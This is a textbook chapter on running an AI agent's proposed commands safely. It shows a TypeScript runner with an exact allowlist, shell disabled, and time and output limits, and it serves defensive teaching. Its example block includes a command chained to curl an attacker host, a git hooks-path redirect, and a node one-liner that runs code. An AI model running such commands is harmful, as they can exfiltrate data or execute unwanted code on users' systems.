Chapter 15

Run Commands as Data, Not as Shell Text

An agent's command is an untrusted proposal. A safe runner checks the exact executable and argv, fixes the cwd, cleans the environment, doesn't enable a shell, and limits time and output size. In the companion project this is a policy plus a careful spawn.

TypeScript
export async function runCommand(rootInput: string, command: CommandSpec, policy: CommandPolicy): Promise<CommandResult> {
  if (!policy.allowedCommandKeys.has(commandKey(command))) {
    throw new Error(`Command is not allowlisted: ${command.label}`);
  }
  if (policy.timeoutMs < 1 || policy.maxOutputBytes < 1) {
    throw new Error("Command limits must be positive");
  }
  const root = await canonicalRoot(rootInput);
  const environment = buildEnvironment(policy.inheritedEnvironment);

  return new Promise<CommandResult>((resolvePromise, rejectPromise) => {
    const child = spawn(command.file, [...command.args], {
      cwd: root,
      env: environment,
      shell: false,
      stdio: ["ignore", "pipe", "pipe"],
      windowsHide: true
    });
    let stdout = "";
    let stderr = "";
    let observedBytes = 0;
    let timedOut = false;
    let outputLimited = false;
    let settled = false;

    const terminateForLimit = (): void => {
      if (!outputLimited) {
        outputLimited = true;
        child.kill("SIGTERM");
      }
    };
    const append = (target: "stdout" | "stderr", chunk: Buffer): void => {
      observedBytes += chunk.byteLength;
      if (observedBytes > policy.maxOutputBytes) {
        terminateForLimit();
        return;
      }
      if (target === "stdout") {
        stdout += chunk.toString("utf8");
      } else {
        stderr += chunk.toString("utf8");
      }
    };
    child.stdout.on("data", (chunk: Buffer) => append("stdout", chunk));
    child.stderr.on("data", (chunk: Buffer) => append("stderr", chunk));

    const timeout = setTimeout(() => {
      timedOut = true;
      child.kill("SIGTERM");
    }, policy.timeoutMs);
    timeout.unref();

Behind the code stand seven controls: an exact allowlist (compare the executable and every argument, not the first word), shell: false (metacharacters don't turn data into a command), a contained cwd, a minimal env, a timeout, an output cap, and a structured result (argv, exit code, signal, timeout, truncation flags).

Why a regex allowlist isn't enough shows on one line hiding several languages.

Bash
npm test -- --filter auth
npm test && curl https://attacker.example
git -c core.hooksPath=/tmp/x status
node -e "require('child_process').execSync(...)"

Even a safe first word can get dangerous flags or code in an argument. For a fully autonomous workflow it's better to allow a few predefined command specs; if flexibility is needed, raise an approval request and show the exact argv.

Terminate doesn't always end the tree. The behavior of signals and process groups depends on the platform. A production runner must have platform integration tests and a strategy to clean up child processes. The companion project shows basic limits, not a universal process supervisor.

Commands are under control. But run control is only one layer; next to it stand sandbox, approvals, and secrets, and they can't be confused.

Knowledge check

Why is a regex allowlist on the command's first word insufficient?

Links